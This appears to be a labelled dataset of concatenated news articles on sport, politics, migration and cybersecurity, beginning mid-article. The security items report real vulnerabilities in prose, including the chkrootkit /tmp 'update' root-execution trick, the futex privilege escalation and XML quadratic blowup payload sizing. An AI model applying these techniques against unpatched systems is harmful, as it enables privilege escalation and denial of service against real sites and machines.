world championships.Hide Caption 4 of 9 Photos: Rio Paralympics: 9 stars to watchSarah Storey - Great Britain – Sarah Storey competed for Great Britain in four Paralympics as a swimmer before swapping the pool for a bike. Rio will be her third Paralympic Games on two wheels and a chance for her to add to the 22 medals she has amassed to date.Hide Caption 5 of 9 Photos: Rio Paralympics: 9 stars to watchOmara Durand - Cuba – The visually impaired Cuban sprinter Omara Durand is aiming for multiple golds at the Rio Paralympics to add to her haul. With a time of 11.48 seconds, she is the world record holder at 100 meters in the T12 class. Durand is defending Paralympic champion at 100m and 400m.Hide Caption 6 of 9 Photos: Rio Paralympics: 9 stars to watchDaniel Dias - Brazil – Swimmer Daniel Dias is Brazil's version of Michael Phelps and its most successful sportsman in recent years. He won nine medals at the Beijing Games in 2008 and six Paralympic golds at London 2012, setting four world records in the process.Hide Caption 7 of 9 Photos: Rio Paralympics: 9 stars to watchLin Ma - China – Lin Ma is known for his aggressive style of play. It has brought him huge success in his class -- he is ranked No. 1 in the world -- and he will be aiming for his third Paralympic singles title at Rio.Hide Caption 8 of 9 Photos: Rio Paralympics: 9 stars to watchJovane Silva Guissone - Brazil – Brazilian Jovane Silva Guissone is the defending Paralympic wheelchair fencing champion and aiming to repeat his success at his home Games. He has said he wants to help Brazil climb the medal table and encourage interest in all sports.Hide Caption 9 of 9Discplines were split into two categories, competition and demonstrations. Wheelchair racing, 100 meter sprints and volleyball were the competitive events. Para-athletes lined up against each other in a series of races, to the sound of muted cheers. The volleyball match, held indoors, was watched only by teammates sat on the bench. The demonstrations were billed as a masterclasses held in one of the complex's many sports halls. In their own designated sections, athletes from wheelchair tennis, cycling and equestrian would practice their skills while also conducting interviews and taking questions.Amongst the athletes there was a mood of solidarity, with other teammates turning out in their full track suits to stand by, watch and support their compatriots.Read: How a shark attack launched a Paralympic dreamViktoria Lvova, a wheelchair tennis Paralympian told CNN she wasn't a rule breaker and had earned her right to compete for Russia. "Yes, we are very disappointed that we are not going to a Paralympic Games, we wanted to get there," she admitted. "But she did say she was 'happy to be here because everything here is made for us and all people come here to support us are only for us, it's a big pleasure."JUST WATCHEDRussia to hold alternative Paralympic GamesReplayMore Videos ...MUST WATCHRussia to hold alternative Paralympic Games 01:55There was also anger. "I think it's fair to give an individual athlete a chance to say he or she is innocent or not, and not to be judged and have a collective ban... that's not fair for sure," said hand cyclist Svetlana Mushkovich.This was a sentiment echoed by the Russian Minister for Sport, Vitaly Mutko, who was in attendance briefly. When asked if he thought the decision was fair, his response was blunt. "If you want to ask if it's fair or not -- ask athletes who have trained hard for 4 years," he replied. "You need to punish only the guilty, this is the only decision that can be taken."Unlike a similar event held ahead of the Olympic Games for Russian able-bodied athletes unsure if they would be competing in Rio, the fate of these para-athletes has already been decided and is irreversible. | 0 |
Equifax has suffered one of the largest data breaches in history that has left highly sensitive data of as many as 143 million people—that's nearly half of the US population—in the hands of hackers.
Based on the company's investigation, some unknown hackers managed to exploit a security flaw on the Equifax website and gained unauthorized access to certain files between mid-May and July 2017.
The information accessed primarily include full names, birth dates, Social Security numbers, addresses and, in some cases, driver's license numbers—most of the information that's banks, insurance companies, and other businesses use to confirm a consumer identity.
The company added that 209,000 credit card numbers were also obtained by the attackers, along with "certain dispute documents with personal identifying information for approximately 182,000 U.S. consumers."
Equifax is one of the three major organizations in the United States that calculates credit scores, which means the company has access to an extraordinary amount of personal and financial information for virtually all American adults.
Here's How Roughly Equifax Handled the Massive Data Breach
For a second, keep aside the scope and severity of the data breach, and let's talk about the how Equifax handled the breach after discovering it and what all it did for its customers.
First of all, the third largest U.S. credit reporting firm took over five weeks to publically disclose the data breach, which began in mid-May that means the data of 143 million people were exposed for over 3 months.
What's more? Reportedly, three senior Equifax executives, namely John Gamble (CFO), Joseph Loughran and Rodolfo Ploder, were permitted to sell almost $2 million worth of their shares just days after the company learned of this massive hack.
However, the company officials told Bloomberg that the employees were unaware of the data breach at the time of the sale.
Wait there's even more: After revealing the data breach on Thursday, Equifax did not contact everyone who was affected, rather it asked customers to go to its special website to figure out whether they were affected by entering the last 6 digits of their SSN and last name.
But it's not that simple. The website is not giving a clear answer about whether or not your data may have been affected, but making it clear to those who were not exposed. It's confusing.
What Would Be Hackers Next Move?
With this data in hand, it's most likely that hackers are already selling your personal information on the dark web or attempting to extort the company, like cyber criminals do in most massive data breach cases.
The Game of Thrones hackers did the same by leaking upcoming episodes of the widely watched show after HBO refused to their $6 Million ransom demand for the 1.5 terabytes of data they claimed to have stolen from the company.
Same happened to Netflix in April this year when the company refused to meet 50 Bitcoins ransom demand of a hacking group calling itself The Dark Overlord, which then leaked 10 back-to-back episodes of the Season 5 premiere of Netflix's "Orange Is the New Black."
Although Equifax has not yet confirmed whether the hackers have contacted the company for any demand or not, the breach is major, and all 143 Million Americans quickly need to take action to protect themselves and their loved ones.
Here's what all you can do to Protect Yourself:
1. Enroll in TrustedID Premier
Equifax is offering a year of free credit monitoring and identity theft protection program for free for one year through TrustedID Premier that you should sign up if you are a US resident—the service is free whether or not you have been affected by the breach.
The program offers services such as Equifax credit report, 3 bureau credit file monitoring, Equifax credit report lock, Social Security number monitoring and up to $1M identity theft insurance.
However, Equifax's own identity protection service is not enough, you must follow below steps to help ensure you're doing everything to protect your identity.
2. Monitor your accounts
In upcoming days, the personal and payment cards details are likely to be sold in underground black markets, resulting in financial loss and identity theft to millions of customers.
So, users are advised to be vigilant in reviewing their bank account statements, checking for any changes in their personal information and reporting any unauthorized transactions to the respective bank.
3. Freeze Your Credit Report
Since your stolen Social Security number can be misused by hackers to open new accounts in your name or ruin your credit score, you should consider placing a credit freeze request.
Freezing your credit will make it difficult for anyone to open a new account in your name, as you (or anyone masquerading as you) will need the PIN that you got when you froze your credit to unfreeze your account.
To freeze your credit, contact these credit bureaus: Equifax: 1-800-349-9960, Experian: 1‑888‑397‑3742, and TransUnion: 1-888-909-8872.
4. Change your Passwords and Logins
Meanwhile, all customers are advised to reset their account passwords and login information on the website.
5. Watch out for tax season
It's important for you to know that identity thieves can use your stolen social security number to file fraudulent tax returns and get refunds.
So, you should consider filing your taxes early.
6. Watch Out for Scams
Users are strongly advised to be cautious if they receive any suspicious or unrecognised phone call, text message, or email from anyone saying you must pay taxes or a debt immediately—even if they provide your personal information.
7. Already Experienced Identity Theft? Here's what to do now:
If you have already a victim to the identity theft, visit the FTC Identity Theft Recovery website and fill in the form. The Federal Trade Commission will provide you with a specific identity theft report and "to-do" recovery plans.
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Abu Dhabi, United Arab Emirates (CNN)British academic Matthew Hedges, who was sentenced to life in prison for spying in the United Arab Emirates, has been pardoned with immediate effect.He was released from prison Monday and will leave the country later in the day, a UAE official told CNN. Hedges, 31, was sentenced on Thursday after a five-minute hearing. A family spokeswoman said Hedges was forced to sign a confession in Arabic, a language Hedges does not read nor speak. Before announcing his pardon, authorities in Abu Dhabi showed journalists video that purportedly showed Hedges confessing to being a spy, though it's unclear if the statement was made under duress.Hedges, a specialist in Middle Eastern studies at the University of Durham, was arrested on May 5 at Dubai airport, following a research trip. He went on to spend almost six months in solitary confinement. Matthew Hedges, a specialist in Middle Eastern studies at the University of Durham, was arrested on May 5 at Dubai airport.Read MoreDespite issuing Hedges' pardon, the Emiratis continue to allege that he was a spy recruited by British intelligence due to his network of sources inside the country. The UAE claimed that Hedges used his academic work as a cover to enter the country for espionage, a claim British authorities have denied.The 31-year-old was granted a presidential pardon following a request for clemency from his family and in consideration of "the historical relationship and close ties between the UAE and the UK," Jaber al-Lamki of the UAE National Media Council said Monday. He is one of 785 prisoners being pardoned as part of the UAE's forthcoming national day celebration on December 2.The British national will be allowed to leave the country as soon as the paperwork regarding his pardon is processed, officials said.Hedges' wife, Daniela Tejada, said in a statement that Hedges' pardon was "the best news we could have received." Daniela Tejada, the wife of British academic Matthew Hedges."Our six-plus months of nightmare are finally over and to say we are elated is an understatement," Tejada said. "That he is returning home to me and the rest of his family is much more than I was ever expecting to happen this week."UAE Foreign Affairs Minister Anwar Gargash said in a statement that Hedges' pardon will allow both sides "to return our focus to the underlying fundamental strength of the UAE UK bi-lateral relationship and its importance to the international community."UK 'deeply perplexed' how this happenedHedges' imprisonment had taken a toll on London's relationship with Abu Dhabi. British Foreign Secretary Jeremy Hunt previously called the case "unacceptable" and warned of "serious diplomatic consequences."A spokesman for UK Prime Minister, Theresa May, said Monday that the government "welcomed" Hedges' pardon although "we didn't agree with the charges.""But we are grateful to the UAE government for resolving the issue," the spokesman added. Fantastic news about Matthew Hedges.Although we didn't agree with charges we are grateful to UAE govt for resolving issue speedily.But also a bittersweet moment as we remember Nazanin &other innocent ppl detained in Iran.Justice won't be truly done until they too are safely home.— Jeremy Hunt (@Jeremy_Hunt) November 26, 2018
Hunt told reporters on Monday that Abu Dhabi's Crown Prince Sheik Mohammed bin Zayed and its foreign minister, Sheikh Abdullah bin Zayed recognized "the importance of the strategic relationship between the UK and the UAE" and worked "very, very hard to try and resolve this situation."However, Hunt added: "But, the truth is that we should have never have got to here and we are deeply perplexed as to how it happened."The foreign secretary reiterated that the UK had not seen any evidence to support the spy accusations against Hedges.Hedges' wife, Daniela Tejada, said that his pardon was the end of their "six-plus months of nightmare."Detained in Dubai -- a UK-based legal advice group -- said that while it was good news that Hedges has been released, it was "far from an optimal resolution."Chief Executive Radha Stirling said in a statement: "Matthew should never have been arrested; never should have been forced to sign a false confession in Arabic; never should have been locked up in solitary confinement for six months ... and most certainly never should have been sentenced to life imprisonment."The pardon does not undo any of that, and indeed, Matthew's innocence has not been admitted by the UAE; the wrongs done to him have not been acknowledged," she added.UAE continues to allege that Hedges was a spy Despite his release, the UAE continues to assert that Hedges was guilty of espionage. The Emiratis said the five-minute hearing was a sentencing hearing, and that Hedges had three separate hearings prior to that.Hedges' pardon came after reporters in Abu Dhabi were shown grainy video of him confessing to being an officer for MI6, Britain's intelligence agency, and admitting to gathering information on the Emirati military, its key industries and key government figures using his academic credentials as a guise.One piece of evidence used in court was a video in which Hedges was asked his rank in MI6. He replies "captain," despite the fact that there is no such thing as a captain -- or any military rank -- in MI6.In another video, Hedges is seen in an interrogation room with two Emirati officials. In English he said he was an MI6 analyst, not a field officer in charge of recruiting spies, but then later went on to say he was in fact trying to develop assets in the Middle Eastern nation using his PhD research as a cover. "The case against Mr. Hedges was predicated on evidence secured from Mr. Hedges electronic devices; surveillance and intelligence gathering by UAE intelligence and security agencies; and evidence provided by Mr. Hedges himself -- including a corroborated account of asset recruitment and training and the confidential information being targeted," the UAE said in its statement.Jaber al-Lamki of the UAE National Media Council announced Hedges' pardon.Al-Lamki told reporters that a government investigation revealed that Hedges had previously worked in the UAE for the Institute for Near East and Gulf Military Analysis, (INEGMA), a strategy and security consultancy. UAE authorities allege that British intelligence recruited Hedges due to the network he cultivated while working for INEGMA.Ben Bradshaw, the member of Parliament who represents Hedges' constituency, told CNN last week that the British government and Durham University have assured UAE authorities that Hedges is not a spy.Bradshaw called Hedges' release "great news" in a tweet Monday."Let's hope Matt's home safe & sound with his wife Daniela soon. Thanks to everyone who has worked so hard for his release," Bradshaw said. The UAE also denied allegations that Hedges was mistreated in custody.Al-Lamki told reporters Hedges was "accorded his full rights as a defendant" and provided a doctor twice a week, a translator and a defense lawyer paid for at the government's expense.CNN's Bharati Naik contributed to this report | 0 |
London (CNN)Boris Johnson campaigned on a single, simple slogan: "Get Brexit done." Britain, it seems, could not have agreed more.Fed up with the political turmoil over Brexit at Westminster, voters gave Johnson the mandate he craved to get the country out of the European Union by January -- no ifs, no buts. They may be disappointed. Far from Brexit being done, it's just getting started.In reality, Johnson's Brexit "deal" is just the first stage in a years-long process. Not that you'd have heard much of that from the Prime Minister, who preferred his catchy slogan to any complicated discussion about the framework of a future relationship with the EU or the long-term implications of quitting the bloc. Johnson just doesn't do nuance. In a political stunt on one of the final days of stumping, he drove a "Brexit" backhoe through a wall of polystyrene bricks emblazoned with the word "gridlock." But he successfully ducked difficult questions about what delivering Brexit might look like in reality, limiting media appearances and even retreating into a walk-in refrigerator to avoid a TV interview.Read MoreLive: Full UK election resultsBoris Johnson's Conservatives win majority in UK electionThe Conservative Party's campaign manifesto was similarly light on detail, avoiding any real insight into how Johnson plans to negotiate a trade agreement with Europe in just 11 months -- a process that typically takes years.That strategy seems to have worked, and Johnson's so-called "oven-ready" deal is now expected to pass through Parliament in the coming weeks, ushering Britain out of the EU by the end of January.It's the type of decisive mandate that Johnson's predecessor Theresa May hoped she might secure when she called a snap election in 2017; instead, opposition leader Jeremy Corbyn stunned the political establishment by engineering a Labour Party surge that cost May her parliamentary majority, forcing her into an awkward arrangement with a hardline party from Northern Ireland that limited her room for maneuver. Boris Johnson drives "Get Brexit Done" backhoe in campaign stunt.Corbyn failed to generate the same enthusiasm this time around. His campaign was plagued by relentless in-fighting and allegations of anti-Semitism. But it was his neutrality on the single biggest issue facing the country that seems to have led to his downfall. Corbyn had campaigned on a wishy-washy Brexit policy, promising a confirmatory second referendum on a softer Brexit deal, but refusing to say which side he would back."Labour will be seen as having allowed Brexit," says Professor Tony Travers, director of the Institute of Public Affairs at the London School of Economics. "One of the terrible ironies in all of this is that Boris Johnson probably broadly didn't want to leave the EU, but now is in a position whereby he has to make it happen. Corbyn, on the other hand, who did want to leave, has tried -- and failed -- to articulate a possible remain position for his party."As a result, the Conservatives managed to flip areas long held by Labour -- working-class party heartlands that wouldn't have dreamed of voting for the Conservatives even 10 years ago -- which had backed Leave in 2016.Boris Johnson bet the farm on an election and it paid off bigIn one fell swoop, Labour has effectively been relegated to the sidelines -- along with its radical, socialist policy plans -- delivering the Conservatives a majority that has not been seen since the era of Margaret Thatcher.Now the question is, what is Johnson going to do with his new-found political power?It's important to remember that a lot of the challenges for the UK have yet to come. After the Brexit deal is passed and ratified in January, the UK moves into an even more expansive and complicated negotiation period, setting out just how closely aligned it will stay to the EU on issues like the environment, competition, workers' rights and trade.Johnson is hoping to secure a new trade agreement with the EU by the end of 2020, before the end of the so-called transition period -- during which the UK will be formally out of the bloc, but still subject to all its rules and regulations. That's a quick turnaround, especially if he seeks to diverge significantly from EU rules, as he has indicated. And, given Johnson's emphasis on sticking to the December 2020 deadline, it is likely that he will have to compromise on just how deep and ambitious any deal might be.BBC exit poll shows Johnson's Conservative Party winning the election."The main constraints on Boris Johnson will no longer be the House of Commons, but time," says Brigid Fowler, a senior researcher at the Hansard Society, indicating that his ambitions for a "fantastic new free trade agreement" may be constrained by the ever-ticking clock. "If you're up against that tight of a timetable, it would seem to militate against any sort of bespoke arrangements for the UK and indicates more of an off-the-shelf solution."Still, such a large parliamentary majority affords Johnson a lot of freedom in shaping that deal, at least from the UK side."It opens up Boris Johnson's leeway and ability to move in the next phase, but doesn't mean the situation for the EU significantly changes," says Joe Owen, Brexit program director at the Institute for Government think tank.In the early hours of Friday morning, European Council President Charles Michel said the EU was "ready to negotiate" whatever the outcome of the election.And the second phase of Brexit negotiations is set to be more trying than the last. For months we have watched Westminster for make or break votes, but the ratification process will turn our collective attention to parliaments all across the European Union -- every member state will get a vote and veto on the framework of the UK's future relationship.Further still down the line is implementation. Negotiating and ratifying a deal is one thing, but actually putting it in place and transferring it into the systems of government is another. It's a process that has the potential to drag on for years. | 0 |
Story highlights11 remain missing, 10 are rescued after the boat capsized, the Greek coast guard saysA man who washed up on a Greek island alerted authorities the boat he'd been on was sinking (CNN)At least 24 migrants -- 10 of them children -- drowned in the Mediterranean Sea between Turkey and Greece after their boat capsized, a Greek coast guard representative told CNN. Forty-five people were on the boat when it capsized Wednesday evening. By midday Thursday, 10 migrants had been rescued and 11 more remained missing.Greek authorities learned about the sinking after a man made it ashore in Kokkari, on the north coast of Greece's Samos island, and claimed he'd escaped from the sinking boat.The vessel used by the migrants. Members of the Hellenic Coast Guard and Frontex, the European Union's border patrol agency, responded at the scene while planes from the Hellenic Air Force surveyed the area from above, according to the coast guard representative.Those confirmed dead include the 10 children, 11 men and one woman, the representative added.Read MoreThe International Organization for Migration reported that 3,811 people were reported dead or missing last year in the Mediterranean Sea. This month in the Mediterranean, there have been 224 such deaths -- a figure that includes some but not necessarily all of the fatalities from Wednesday's incident, according to the same advocacy group.Europe's migrant crisisThe dangers of cramming into too small, often flimsy boats aren't lost on migrants. But the fact more and more of them, every day, are willing to take that risk reflects how desperate they are.Some flee homelands ravaged by years of war, as in Iraq and Syria, where more than half of citizens have been forced from their homes. Others try to escape rampant, potentially deadly poverty, including in North and East Africa. And for a good number, it's a combination of both -- with everyday worries about survival from violence and lack of food of resources pushing to run away in hopes of finding a better life.Refugees on mud, misery and hopeThis has spawned a migration crisis in Europe, spurring officials to make tough decisions on what to do with the more than 1 million migrants who were "irregular arrivals" to the continent last year. A few countries largely welcomed them -- though not without controversy, as German Chancellor Angela Merkel found out amid the uproar when asylum-seekers were accused of groping and robbing women on New Year's Eve in Cologne.Others, like Hungary and Slovenia, have responded by erecting walls or fences.5 examples of 'backlash against migration' | 0 |
Story highlightsTottenham Hotspur beating Reading 3-0 in the English Premier LeagueThe victory is Tottenham's first in the EPL this season and first under Andre-Villas BoasFormer Chelsea coach Villas-Boas replaced Harry Redknapp in JulyReading have one point from their first three games and are 19th in the tableAndre Villas-Boas recorded his first win as Tottenham Hotspur manager on Sunday as a Jermain Defoe brace helped the north London club secure a 3-1 victory at Reading.Former Chelsea coach Villas-Boas, appointed as Harry Redknapp's successor at White Hart Lane in July, had seen Spurs draw two and lose one of their opening three English Premier League matches.The victory was Villas-Boas' first in the English top flight since his Chelsea team beat Bolton Wanderers 3-0 in February.Defeat left Brian McDermott's Reading 19th in the table with one point from three games.Spurs dominated the early stages of the match, although Reading were denied a penalty atfter 10 minutes when England full-back Kyle Walker appeared to handle Alex Pearce's back-post header.JUST WATCHEDFootless footballer to meet MessiReplayMore Videos ...MUST WATCHFootless footballer to meet Messi 02:26JUST WATCHEDFinancial fair play too late for some?ReplayMore Videos ...MUST WATCHFinancial fair play too late for some? 02:52JUST WATCHEDFootballers' salaries surgeReplayMore Videos ...MUST WATCHFootballers' salaries surge 01:52Shortly after referee Howard Webb had turned down the home team's claims for a spot kick, Spurs took the lead.Former Reading midfielder Gylfi Sigurdsson played a sublime pass through for winger Aaron Lennon, who cut the ball back for Defoe to find the bottom corner of the net from just inside the penalty area.Reading made a spirited start to the second half, but were once again undone by a cutback from the byline after 70 minutes.Walker made an enterprising run down the right before teeing up Welsh winger Gareth Bale, whose scuffed shot bounced over Reading goalkeeper Alex McCarthy.Three minutes later Spurs found the net again, this time Defoe surged at the heart of the Reading defence before launching an unstoppable drive across goal and into the bottom corner.Reading did find the net in the final minute through substitute Hal Robson-Kanu, but it was too late to deny Spurs a deserved three points. | 0 |
Trojan.Milicenso - Printer Trojan cause massive printing
A Trojan that sends printers crazy, making them print pages of garbled nonsense until all the paper has been used up, has seen a spike in activity.Symantec detected the Trojan.Milicenso across various countries, but the worst hit regions were the US and India followed by regions in South America and Europe, including the UK.
According to a blog post published Thursday by researchers from antivirus provider Symantec, Dubbed "Trojan.Milicenso" it has been described by security researchers as a malware delivery vehicle "for hire" through its repeated use since it was first discovered in 2010.
The Milicenso Trojan is actually a backdoor that is used to deliver other malware on the affected machines. The infection vectors are links and malicious attachments in unsolicited emails, as well as websites hosting malicious scripts that trigger the download of the Trojan.
"Depending on the configuration, any files, including binary files, created in that folder will trigger print jobs," said Symantec. "The Trojan creates and executes a dropper executable, which in turn creates a DLL file in the %System% folder"
It's like dragging a system file into a plain-text editor: most of the time you'll see garbage. Symantec said there were a number of ways the malware can find its way onto PCs, including opening a malware-laden email attachment, through a compromised website, or posing as fake video codecs.Once the malware is opened, it redirects the user to pages to serve up adverts; a common way for malware writers to generate quick revenue.
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T-Mobile today confirmed that the telecom giant suffered a security breach on its US servers on August 20 that may have resulted in the leak of "some" personal information of up to 2 million T-Mobile customers.
The leaked information includes customers' name, billing zip code, phone number, email address, account number, and account type (prepaid or postpaid).
However, the good news is that no financial information like credit card numbers, social security numbers, or passwords, were compromised in the security breach.
According to a brief blog post published by the company detailing the incident, its cybersecurity team detected and shut down an "unauthorized capture of some information" on Monday, August 20.
Although the company has not revealed how the hackers managed to hack into its servers neither it disclosed the exact number of customers affected by the data breach, a T-Mobile spokesperson told Motherboard that less than 3 percent of its 77 million customers were affected.
The spokesperson also said that unknown hackers part of "an international group" managed to access T-Mobile servers through an API that "didn't contain any financial data or other very sensitive data," adding "We found it quickly and shut it down very fast."
T-Mobile said the company informed law enforcement about the security breach and is reaching out to its affected customers directly via SMS message, letter in the mail, or a phone call to notify them as well.
"We take the security of your information very seriously and have a number of safeguards in place to protect your personal information from unauthorized access," T-Mobile said. "We truly regret that this incident occurred and are so sorry for any inconvenience this has caused you."
The U.S. telecom giant is also encouraging affected customers to contact its customer service through 611 for any information regarding the breach.
The T-Mobile incident marks the latest high-profile data breach and adds itself to the list of that other recent high profile attacks took place against Carphone Warehouse that affected its 10 million customers, and Ticketmaster that affected tens of thousands of its customers.
Did you receive any notification regarding this data breach? Let us know in the comments below.
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Multiple flaws have been identified in Linux Kernel and related software could allow hackers to hack your Linux machines, shared hosting and websites hosted on them.
PRIVILEGE ESCALATION VULNERABILITY IN LINUX KERNEL
A privilege escalation vulnerability has been identified in the widely used Linux kernel that could allow an attackers to take the control of users' system.
On Thursday, the most popular distributor of open source Linux OS, Debian warned about this vulnerability (CVE-2014-3153) in a security update, along with some other vulnerabilities in the Linux kernel that may lead to a denial of service attack.
The most critical one is the flaw (CVE-2014-3153) discovered by Pinkie Pie which resides in the futex subsystem call of Linux Kernel 2.6.32.62/3.2.59/3.4.91/3.10.41/3.12.21/3.14.5 versions, leaving a queued kernel waiter on the stack, which can be exploited to potentially execute arbitrary code with kernel mode privileges.
"Pinkie Pie discovered an issue in the futex subsystem that allows a local user to gain ring 0 control via the futex syscall," reads the advisory. "An unprivileged user could use this flaw to crash the kernel (resulting in denial of service) or for privilege escalation."
Pinkie Pie is the anonymous teenage ethical and skilled hacker who scooped at least $100,000 for bypassing the security features of Google's Chrome, many of them sandbox exploits, at both Pwnium and Pwn2Own competitions every year since 2012.
RESEARCHER'S ADVICE
Kees Cook, a Google Chrome OS security researcher and Ubuntu contributor said that the latest flaw found by Pinkie Pie is "urgent to fix."
"Specifically, the futex syscall can leave a queued kernel waiter hanging on the stack. By manipulating the stack with further syscalls, the waiter structure can be altered. When later woken up, the altered waiter can result in arbitrary code execution in ring 0," Cook wrote Thursday on Seclists.org. "This flaw is especially urgent to fix because futex tends to be available within most Linux sandboxes (because it is used as a glibc pthread primitive)."
CHKROOTKIT - ANOTHER CRITICAL FLAW
The vulnerability highlighted two days after Thomas Stangner reported a serious flaw in the chkrootkit (Check Rootkit), a rootkit detector, that allows a local attacker to gain root access to gain root control by executing malicious code inside the /tmp directory.
A common Unix-based program, chkrootkit helps system administrators to check their systems for known rootkits. The vulnerability in the chkrootkit, assigned CVE-2014-0476 ID, actually resides in the slapper() function in the shell script chkrootkit package. A non-root user can place any malicious executable file named 'update' in /tmp folder, which will get executed as root whenever chkrootkit will scan this directory for rootkits.
OTHER VULNERABILITIES IN LINUX KERNEL
Another security issues (CVE-2014-3144 and CVE-2014-3145) also have been discovered in the Linux kernel that could allow any local user to cause a Denial of Service (DoS) attack via crafted BPF instructions.
Debian has issued the patches for these vulnerabilities and encouraged Linux users to upgrade their Linux packages highlighting that the issue has been fixed in the stable distribution, version 3.2.57-3+deb7u2, and will be fixed in the unstable distribution as soon as possible.
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Users running the website on a self-hosted WordPress or on Drupal are strongly recommended to update their websites to the latest version immediately.
A moderately critical vulnerability was discovered in the way Drupal and WordPress implement XMLRPC, which can lead an attacker to disable your website via a method known as Denial of Service (DoS).
VULNERABILITY RESULTS IN DoS ATTACK
The latest update of WordPress 3.9.2 mainly addresses an issue in the PHP's XML processor that could be exploited to trigger a DoS (denial of service) attack. The vulnerability affects all previous versions of WordPress.
The XML vulnerability was first reported by Nir Goldshlager, a security researcher from Salesforce.com's product security team, that impacts both the popular website platforms. The issue was later fixed by Michael Adams and Andrew Nacin of the WordPress security team and David Rothstein of the Drupal security team.
ATTACK MAKES YOUR WEBSITE COMPLETELY INACCESSIBLE
The vulnerability makes use of a well-known cyber attack, XML Quadratic Blowup Attack. When executed, it has the capability to take down the whole website or server almost instantly, with the use of only a single machine.
The XML vulnerability can cause complete CPU and memory exhaustion and the site's database to reach the maximum number of open connections, and as a result, the vulnerable site and server become unavailable for a period of time, hence affecting Availability of your website.
In short, when the vulnerability is exploited, your website and web server can become totally inaccessible.
WORDPRESS AND DRUPAL USED BY MILLIONS OF WEBSITES
The issue is actually serious because WordPress and Drupal is being used by millions of websites. The recent statistics from the World Wide Web Consortium (WC3) says that WordPress alone powers nearly 23% of the web, and over one million websites used by Drupal.
WordPress is a free and open source blogging tool and a content management system (CMS) with more than 30,000 plugins, each of which offers custom functions and features enabling users to tailor their sites to their specific needs, therefore it is easy to setup and use, that's why tens of millions of websites across the world opt it.
HOW EXPLOIT WORKS
As explained earlier, the XML vulnerability makes use of an XML Quadratic Blowup Attack, which is almost similar to a 'Billion Laughs attack' that allows a very small XML document to completely disrupt the services on machine in a matter of seconds.
The XML Quadratic Blowup Attack exploits the use of entity expansion, instead of using nested entities inside an XML document, it replicates one large entity with tens of thousands of characters over and over again.
In this type of attack, a medium-sized XML document of nearly two hundred kilobytes in size could require within the range of hundreds of megabytes to several gigabytes of memory. That if exploited by an attacker, could easily bring down an entire website or web server.
"If an attacker defines the entity "&x;" as 55,000 characters long, and refers to that entity 55,000 times inside the "DoS" element, the parser ends up with an XML Quadratic Blowup attack payload slightly over 200 KB in size that expands to 2.5 GB when parsed. This expansion is enough to take down the parsing process," Nir Goldshlager wrote in his blog.
VIDEO DEMONSTRATION
Goldshlager has also provided a video demonstration as a proof-of-concept to the WordPress Denial of Service attack.
UPDATE NOW
The XML vulnerability is present in WordPress versions 3.5 to 3.9.1 (the latest version) and works on the default installation. The same vulnerability affects Drupal versions 6.x to 7.x (the current version) and also works on the default installation.
Both WordPress and Drupal have released an update today to address this problem and all users should upgrade to the latest version as soon as possible.
WordPress 3.7 introduced automatic updates which allows security patches, such as this one, to get rolled out to users automatically.
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TalkTalk, one of the biggest UK-based Telecoms company with 4 million customers, has been issued with a record £400,000 ($510,000) fine for failings to implement the most basic security measures to prevent the hack that made global headlines last year.
The penalty has been imposed by the Information Commissioner's Office (ICO) over the high-profile cyber attack occurred in the company last October, which allowed hackers to steal the personal data of its 156,959 customers "with ease."
The ICO said on Wednesday that TalkTalk, which offers TV, phone and broadband services, could have prevented the cyber attack if the company had implemented even basic security measures to protect its customers' data.
The hacked data of 156,959 customers included full names, postal addresses, dates of birth, telephone numbers, email addresses and TalkTalk accounts information. The hacker also had even access to bank account details and sort codes in almost 16,000 cases.
"When it came to the basic principles of cyber-security, TalkTalk was found wanting," Information Commissioner Elizabeth Denham said.
"Today's record fine acts as a warning to others that cyber security is not an IT issue, it is a boardroom issue. Companies must be diligent and vigilant. They must do this not only because they have a duty under the law, but because they have a duty to their customers."
The regulator also revealed that the targeted database software, which held details of customers inherited from the 2009 takeover of a rival Tiscali UK operations, was out of date and affected by an easily-patchable vulnerability.
As a result, the hackers attacked three vulnerable web pages using a well-known hacking technique called SQL injection and got hold of the customers' data.
TalkTalk has been attacked several times last year. Before the October cyber attack, the company's system had been breached twice — first in July and then in September 2015. But the telecom did not learn anything from its past mistakes.
"Yes, hacking is wrong, but that is not an excuse for companies to abdicate their security obligations," the watchdog said. "TalkTalk should and could have done more to safeguard its customer information. It did not, and we have taken action."
In response to the ICO's decision, TalkTalk has said that it is disappointed with the fine imposed by the ICO, but it will gladly hang its head in shame.
The company released the following statement:
"During a year in which government data showed nine in ten large UK businesses were successfully breached, the TalkTalk attack was notable for our decision to be open and honest with our customers from the outset. This gave them the best chance of protecting themselves and we remain firm that this was the right approach for them and our business."
"As the case remains the subject of an ongoing criminal prosecution, we cannot comment further at this time."
The investigation of the data theft is still ongoing.
Arrests Over TalkTalk Hack:
Few days after the attack, a 15-year-old boy from County Antrim, Northern Ireland, was arrested in connection with the TalkTalk Data Breach.
A second arrest was made within the week when the Metropolitan Police Cyber Crime Unit (MPCCU) arrested a 16-year-old boy from Feltham in west London.
Another arrest was made on November last year when police arrested a 16-year-old boy from London in connection with the hack.
An investigation by the Metropolitan Police Cyber Crime Unit has been running separately to the ICO's investigation.
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Story highlightsFerrari team principal says Ross Brawn is "an iconic figure" at the Italian Formula One teamMarco Mattiacci adds everyone would like to see the former technical director back at FerrariBrawn is on a break from F1 after leaving Mercedes at the end of 2014Mattiacci adds any potential return for Brawn would not impinge on his own roleFerrari would welcome back Ross Brawn to help turn around the famous Formula One team's flagging fortunes.As Ferrari's former technical director, Brawn helped guide the Scuderia to six constructors' titles as well as five world titles between 2000 and 2004 with Michael Schumacher.Ferrari's new team principal Marco Mattiacci revealed to CNN he would be happy to work with the English technical guru."Ross Brawn is an iconic figure at [Ferrari headquarters] Maranello," Mattiacci told CNN."Everyone would like to have Ross or would like to see Ross back at Ferrari."He's one of the most respected personalities in F1 with the highest knowledge and pedigree. Everybody would be happy with someone like Ross."Brawn left his latest role as team principal of Mercedes in 2013 after taking the Silver Arrows to the verge of their most successful season in the sport since the 1950s.JUST WATCHEDFerrari's secret: make fewer cars ReplayMore Videos ...MUST WATCHFerrari's secret: make fewer cars 02:55JUST WATCHEDDriving your own F1 carReplayMore Videos ...MUST WATCHDriving your own F1 car 02:11JUST WATCHEDMontezemolo: 'Alonso 8 out of 10'ReplayMore Videos ...MUST WATCHMontezemolo: 'Alonso 8 out of 10' 02:33The German team is leading this season's team and driver championships with Brawn acknowledged as a huge driving force behind the success.In contrast, Ferrari has not won the team title since 2008 while current driver Kimi Raikkonen was the last to win the drivers' crown in 2007.Fernando Alonso continues to drive for the team, finishing on the podium twice this 